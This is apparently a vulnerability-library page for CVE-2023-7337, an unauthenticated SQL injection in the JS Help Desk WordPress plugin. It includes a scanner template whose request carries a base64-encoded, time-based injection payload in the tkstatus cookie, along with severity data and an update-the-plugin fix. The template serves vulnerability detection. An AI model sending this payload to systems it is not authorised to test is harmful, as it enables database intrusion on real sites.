/Vulnerability Library

JS Help Desk <= 2.8.2 - SQL Injection

CVE-2023-7337
Verified

Description

JS Help Desk WordPress plugin 2.8.2 contains a SQL injection caused by insufficient escaping and preparation of user-supplied values in 'js-support-ticket-token-tkstatus' cookie, letting unauthenticated attackers extract sensitive database information, exploit requires no authentication.

Severity

Critical

CVSS Score

7.5

Exploit Probability

1%

Published Date

March 5, 2026

Template Author

shivam kamboj

CVE-2023-7337.yaml
id: CVE-2023-7337

info:
  name: JS Help Desk <= 2.8.2 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    JS Help Desk WordPress plugin 2.8.2 contains a SQL injection caused by insufficient escaping and preparation of user-supplied values in 'js-support-ticket-token-tkstatus' cookie, letting unauthenticated attackers extract sensitive database information, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can extract sensitive database information, leading to data disclosure.
  remediation: |
    Update to the latest version of JS Help Desk plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/js-support-ticket/js-help-desk-ai-powered-support-ticketing-system-282-unauthenticated-sql-injection-via-js-support-ticket-token-tkstatus-cookie
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7337
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-7337
    epss-score: 0.01317
    epss-percentile: 0.68173
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,js-support-ticket

http:
  - raw:
      - |
        @timeout: 20s
        GET /js-support-ticket-controlpanel/?jstmod=ticket&jstlay=ticketdetail&jssupportticketid=1 HTTP/1.1
        Host: {{Hostname}}
        Cookie: js-support-ticket-token-tkstatus=eyJlbWFpbGFkZHJlc3MiOiJ0ZXN0QHRlc3QuY29tJyBVTklPTiBTRUxFQ1QgU0xFRVAoOCktLSAtIiwidHJhY2tpbmdpZCI6InRlc3QxMjMifQ==

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'contains(body, "JS Help Desk")'
          - 'status_code == 200 || status_code == 302'
        condition: and
# digest: 480a0045304302204a8437a77c04aa59154f964cfa35ccacfbaf35b280d40e1273c73c83f7e39a6c021f6cab34f89ed49e0558c2329b4dd6c0c1ccc1c30a8f0b6affda47972f366f0e:922c64590222798bb761d5b6d8e72950
7.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2023-7337
CWE ID:
cwe-89

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/js-support-ticket/js-help-desk-ai-powered-support-ticketing-system-282-unauthenticated-sql-injection-via-js-support-ticket-token-tkstatus-cookiehttps://nvd.nist.gov/vuln/detail/CVE-2023-7337

Remediation Steps

Update to the latest version of JS Help Desk plugin.